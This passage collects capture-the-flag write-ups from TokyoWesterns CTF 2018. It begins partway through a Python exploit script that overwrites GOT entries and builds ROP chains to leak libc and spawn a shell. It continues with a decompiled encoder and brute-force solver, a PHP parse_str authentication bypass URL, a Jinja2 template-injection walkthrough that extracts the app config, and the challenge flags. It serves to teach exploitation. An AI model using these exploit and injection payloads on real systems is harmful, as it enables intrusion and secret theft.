sh.send(str(p.got["printf"]) + "\n")
sh.recvuntil("Your choice: \n")
sh.send("AA") # strlen = 2, so swap
sh.recvuntil("Your choice: \n")
#replace exit with _start-------------------------
set_pointers(stack_addr + START_OFF, p.got["_exit"])
swap()
#now call exit to raise the stack
#fill stack & construct ROP----------------------
def fill_stack(data):
assert len(data) == 0x10
set_pointers(u64(data[:8]), u64(data[8:]))
exit()
rop = p64(POP_RDI_RET)
rop += p64(p.got["puts"])
rop += p64(p.plt["puts"])
rop += p64(MAIN)
rop += p64(ADD_RSP_0x38)
rop += p64(0)
# rdx is 0, and no pop rdx, so failed
# rop += p64(POP_RDI_RET)
# rop += p64(0)
# rop += p64(POP_RSI_R15_RET)
# rop += p64(stack_addr - ) #todo
# rop += p64(ADD_RSP_0x38)
# rop += p64(p.plt["read"])
# rop += "gadget\x00\x00" #to be filled
i = len(rop) - 0x10
while i >= 0:
fill_stack(rop[i:i+0x10])
i -= 0x10
#sh.interactive()
fst_data = stack_addr - 0x1f6
print hex(fst_data)
#0x110 for each, totally len(rop)/0x10
#-0x53e is the stack when printf being called
printf_rsp = stack_addr - 0x31e
rop_dst = printf_rsp + 0x38
print hex(rop_dst)
for i in xrange(0, len(rop)/0x10):
set_pointers(fst_data + 0x110 * i, rop_dst + 0x10 * i)
swap()
set_pointers(fst_data + 0x110 * i + 8, rop_dst + 0x10 * i + 8)
swap()
add_rsp = rop_dst + 0x20
set_pointers(add_rsp, p.got["printf"])
swap()
sh.send("3\n")
#rop will call main again, with return address being printf
leak = sh.recvuntil("\x7f\n")
libc_addr = u64(leak[:6] + "\x00\x00") - e.symbols["puts"]
print hex(libc_addr)
sh.recvuntil("Your choice: \n")
set_pointers(add_rsp, p.got["printf"])
swap()
#swap printf back
rop2 = p64(POP_RDI_RET)
rop2 += p64(libc_addr + next(e.search("/bin/sh\x00")))
rop2 += p64(libc_addr + e.symbols["system"])
rop2 += p64(0)
i = len(rop2) - 0x10
while i >= 0:
print rop2[i:i+0x10]
fill_stack(rop2[i:i+0x10])
i -= 0x10
fst_data = stack_addr - 0x406
print hex(fst_data)
#0x110 for each, totally len(rop)/0x10
#-0x53e is the stack when printf being called
printf_rsp = stack_addr - 0x52e
rop_dst = printf_rsp + 0x38
print hex(rop_dst)
for i in xrange(0, len(rop2)/0x10):
set_pointers(fst_data + 0x118 * i, rop_dst + 0x10 * i)
swap()
set_pointers(fst_data + 0x118 * i + 8, rop_dst + 0x10 * i + 8)
swap()
#interval becomes 0x118, not sure why,
#maybe there is a stack adjustment in _libc_start_main
#the ROP that returns to the main breaks the alignment,
#so that it will adjust alignment and change this distance?
set_pointers(add_rsp, p.got["printf"])
swap()
sh.interactive()
No description
Files provided
Solution (by Mem2019)
The first encode is base64
_BYTE *__fastcall base64(const char *a1)
{
unsigned int v1; // ST1C_4
int v2; // ST2C_4
_BYTE *v3; // rax
_BYTE *v4; // ST30_8
_BYTE *v5; // rax
_BYTE *v6; // rax
int v7; // ST24_4
_BYTE *v8; // rax
_BYTE *v9; // ST30_8
_BYTE *v10; // rax
_BYTE *v11; // rax
unsigned int v12; // ST1C_4
_BYTE *v13; // rax
_BYTE *v14; // ST30_8
_BYTE *v15; // rax
_BYTE *v16; // rax
signed int i; // [rsp+10h] [rbp-80h]
unsigned int v19; // [rsp+14h] [rbp-7Ch]
_BYTE *v20; // [rsp+30h] [rbp-60h]
_BYTE *v21; // [rsp+38h] [rbp-58h]
__int64 v22; // [rsp+40h] [rbp-50h]
__int64 v23; // [rsp+48h] [rbp-48h]
__int64 v24; // [rsp+50h] [rbp-40h]
__int64 v25; // [rsp+58h] [rbp-38h]
__int64 v26; // [rsp+60h] [rbp-30h]
__int64 v27; // [rsp+68h] [rbp-28h]
__int64 v28; // [rsp+70h] [rbp-20h]
__int64 v29; // [rsp+78h] [rbp-18h]
char v30; // [rsp+80h] [rbp-10h]
unsigned __int64 v31; // [rsp+88h] [rbp-8h]
v31 = __readfsqword(0x28u);
v22 = 'HGFEDCBA';
v23 = 'PONMLKJI';
v24 = 'XWVUTSRQ';
v25 = 'fedcbaZY';
v26 = 'nmlkjihg';
v27 = 'vutsrqpo';
v28 = '3210zyxw';
v29 = '/+987654';
v30 = 0;
v19 = strlen(a1);
v21 = malloc(4 * v19 / 3 + 1);
v20 = v21;
for ( i = 0; i < (signed int)(v19 - v19 % 3); i += 3 )
{
v1 = (a1[i + 1] << 8) + (a1[i] << 16) + a1[i + 2];
v2 = a1[i + 2] & 0x3F;
v3 = v20;
v4 = v20 + 1;
*v3 = *((_BYTE *)&v22 + ((v1 >> 18) & 0x3F));
v5 = v4++;
*v5 = *((_BYTE *)&v22 + ((v1 >> 12) & 0x3F));
*v4 = *((_BYTE *)&v22 + ((v1 >> 6) & 0x3F));
v6 = v4 + 1;
v20 = v4 + 2;
*v6 = *((_BYTE *)&v22 + v2);
}
if ( v19 % 3 == 1 )
{
v7 = 16 * a1[i] & 0x3F;
v8 = v20;
v9 = v20 + 1;
*v8 = *((_BYTE *)&v22 + (((unsigned int)(a1[i] << 16) >> 18) & 0x3F));
v10 = v9++;
*v10 = *((_BYTE *)&v22 + v7);
*v9 = '=';
v11 = v9 + 1;
v20 = v9 + 2;
*v11 = '=';
}
else if ( v19 % 3 == 2 )
{
v12 = (a1[i] << 16) + (a1[i + 1] << 8);
v13 = v20;
v14 = v20 + 1;
*v13 = *((_BYTE *)&v22 + ((v12 >> 18) & 0x3F));
v15 = v14++;
*v15 = *((_BYTE *)&v22 + ((v12 >> 12) & 0x3F));
*v14 = *((_BYTE *)&v22 + ((v12 >> 6) & 0x3F));
v16 = v14 + 1;
v20 = v14 + 2;
*v16 = 61;
}
*v20 = 0;
return v21;
}
the second encode is some rotate
char *__fastcall rot(char *a1)
{
int v1; // ST1C_4
char *s; // [rsp+8h] [rbp-28h]
char v4; // [rsp+1Bh] [rbp-15h]
char *v5; // [rsp+20h] [rbp-10h]
char *v6; // [rsp+28h] [rbp-8h]
s = a1;
v1 = strlen(a1);
v6 = (char *)malloc((unsigned int)(v1 + 1));
v5 = v6;
while ( *s )
{
v4 = *s;
if ( *s > 0x40 && v4 <= 'Z' )
{
*v5 = (v4 - '4') % 26 + 'A';
}
else if ( v4 > '`' && v4 <= 'z' )
{
*v5 = (v4 - 'T') % 26 + 'a';
}
else
{
*v5 = *s;
}
++v5;
++s;
}
*v5 = 0;
return v6;
}
The third encode, well, I don't know what's that. According to my test, the first byte is a checksum, and each 4 bytes from the remaining bytes correspond to 3 bytes from input, so we can brute force crack it.
char* res = "@25-Q44E233=,>E-M34=,,$LS5VEQ45)M2S-),7-$/3T ";
unsigned char buf[128];
int main(int argc, char *argv[])
{
unsigned int* ures = (unsigned int*)(res + 1);
for (int i = 0; i < 11; ++i)
{
//printf("%d: \n", i);
for (int c = 0; c < 0x1000000; ++c)
{
char* tmp1 = rot((char*)&c);
unsigned char* tmp2 = (unsigned char*)trans((unsigned char*)tmp1);
//puts(tmp2);
//puts(ures + i);
if (*(unsigned int*)(tmp2 + 1) == ures[i])
{
//printf("%d found", i);
printf("%s", (char*)&c);
}
free(tmp1);
free(tmp2);
}
}
return 0;
}
Description
Welcome
TWCTF{Welcome_TokyoWesterns_CTF_2018!!}
No files provided
Solution
...
TWCTF{Welcome_TokyoWesterns_CTF_2018!!}
Description
No files provided
Solution
On the website we are shown the source code:
<?php
require_once 'flag.php';
if (!empty($_SERVER['QUERY_STRING'])) {
$query = $_SERVER['QUERY_STRING'];
$res = parse_str($query);
if (!empty($res['action'])){
$action = $res['action'];
}
}
if ($action === 'auth') {
if (!empty($res['user'])) {
$user = $res['user'];
}
if (!empty($res['pass'])) {
$pass = $res['pass'];
}
if (!empty($user) && !empty($pass)) {
$hashed_password = hash('md5', $user.$pass);
}
if (!empty($hashed_password) && $hashed_password === 'c019f6e5cd8aa0bbbcc6e994a54c757e') {
echo $flag;
}
else {
echo 'fail :(';
}
}
else {
highlight_file(__FILE__);
}
?>
The hash is not known on crackstation, so there must be another issue with the code. I created a local copy of the script to play around with it and I noticed some weird behaviour – no matter what $query
I provided, $res
always seemed to be null
.
Looking at the manual entry for parse_str this weirdness is explained almost immediately with a big red warning sign. If the function is used with a single argument, as is the case in this challenge, it sets (and overrides) variables in the current scope. It never returns anything, so $res
is always null
.
So we can simply go to:
http://simpleauth.chal.ctf.westerns.tokyo/?action=auth&hashed_password=c019f6e5cd8aa0bbbcc6e994a54c757e
And get the flag.
TWCTF{d0_n0t_use_parse_str_without_result_param}
Description
shrine is translated as jinja in Japanese.
No files provided
Solution
The website shows us its source code:
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/<path:shrine>')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist])+s
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
So it is an application using Flask, which also includes the templating engine Jinja2.
It lets us provide an arbitrary string that is then evaluated as a template string. However, some code is prepended, which has the effect of hiding the proper values of config
and self
, variables which would normally be globally available in templates for convenience.
These two variables are not the only ones that are always made available in template contexts, however. This page has the full list:
config
(unavailable)request
session
g
url_for()
get_flashed_messages()
I tried to get something useful from request
, session
, or g
for a while, but I couldn't find a single reference to the Flask application object. But I guess I was on the wrong path, since the url_for()
function is much more useful:
input: {{url_for}}
URL: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7Burl_for%7D%7D
output: <function url_for at 0x7f3429e20d08>
A reference to a function is useful because it has some magic variables that refer to its global and local context (important for closures and the like):
input: {{url_for.__globals__}}
URL: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7Burl_for.__globals__%7D%7D
output: (... a full list of globals, including current_app)
input: {{url_for.__globals__.current_app}}
URL: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7Burl_for.__globals__.current_app%7D%7D
output: <Flask 'app'>
input: {{url_for.__globals__.current_app.config}}
URL: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7Burl_for.__globals__.current_app.config%7D%7D
output: (... the full configuration)
input: {{url_for.__globals__.current_app.config.FLAG}}
URL: http://shrine.chal.ctf.westerns.tokyo/shrine/%7B%7Burl_for.__globals__.current_app.config.FLAG%7D%7D
output: TWCTF{pray_f0r_sacred_jinja2}
TWCTF{pray_f0r_sacred_jinja2}